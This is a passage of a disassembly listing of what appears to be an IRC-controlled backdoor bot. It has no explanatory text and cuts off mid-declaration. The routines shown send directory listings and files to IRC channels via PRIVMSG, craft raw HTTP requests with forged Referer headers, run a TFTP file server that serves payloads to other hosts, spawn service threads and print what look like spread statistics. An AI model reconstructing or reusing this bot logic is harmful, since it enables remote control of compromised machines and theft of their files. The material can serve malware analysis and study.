ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; CODE XREF: sub_406387+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172B0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h nop call near ptr 2620000h loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 26B0000h test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] nop call near ptr 269049Eh cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172B0 add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172B0 add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 26508D5h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx nop call near ptr 2690000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 26D0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 26310C3h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43AD2C cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx call near ptr 26318FCh nop loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43AD10 push 6 push 1 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43AD98 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_436EDC loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43ADE8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43ADB0 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172B0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h nop call near ptr 2620000h call dword_43AD2C push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 pop ecx pop ecx push ebx call near ptr 2610350h nop loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h nop call near ptr 2620000h dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h nop call near ptr 2620000h lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 add esp, 28h push ebx nop call near ptr 2610350h loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43AD80 test eax, eax jle loc_4070B8 mov al, byte_436EDC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43AD70 push [ebp+var_28] mov [ebp+var_C], eax call dword_43AE24 push eax lea eax, [ebp+var_58] push eax call sub_4172B0 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43ADFC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172B0 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43ADFC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172B0 lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43ADFC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43ADFC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43AE30 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417078 pop ecx push ebx nop call near ptr 2610350h loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h nop call near ptr 2620000h push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172B0 cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_4CD5F0 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA4 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_436F18[eax*8] call dword_43AE24 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172B0 add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172B0 pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_438F34 push 104h push edi push ebx mov dword_439144, eax mov dword_439140, ebx nop call near ptr 2660000h push 103h mov esi, offset dword_439038 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_438F30, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4391C8, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_439144 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5C add esp, 20h mov dword_43913C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_438F30 push offset sub_406C19 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, dword_43913C imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_4391D0, ebx jnz short loc_4073A9 push 32h nop call near ptr 2620000h jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j call near ptr 2650C0Ah nop push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172B0 add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43958C mov [esp+210h+var_210], 104h push edi push ebx mov dword_439798, ebx nop call near ptr 2660000h push 103h mov esi, offset dword_439690 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439588, eax mov eax, [ebp+arg_138] push 7Fh mov dword_439820, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43979C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5C add esp, 20h mov dword_439794, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439588 push offset sub_4053D5 push ebx push ebx call near ptr 2680B9Ah nop mov ecx, dword_439794 pop edi imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_439828, ebx jnz loc_4075D5 push 32h nop call near ptr 2620000h jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j nop call near ptr 2650C0Ah push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_439464 push 104h push esi push ebx nop call near ptr 2660000h push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43957C, ebx mov dword_439568, eax lea eax, [ebp+arg_10] push eax push offset dword_4391DC call sub_4172B0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4391D8, eax mov ecx, [ebp+arg_138] push esi push dword_439568 mov dword_439574, ecx mov ecx, [ebp+arg_13C] push eax mov dword_439578, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5C add esp, 20h mov dword_439570, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4391D8 push offset sub_405AF2 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, dword_439570 imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_439584, ebx jnz short loc_4075D5 push 32h call near ptr 2620000h nop jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j nop call near ptr 2650C0Ah push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172B0 add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:436F18h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43ACCC inc eax push eax mov [ebp+arg_0], eax call dword_43AD94 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword 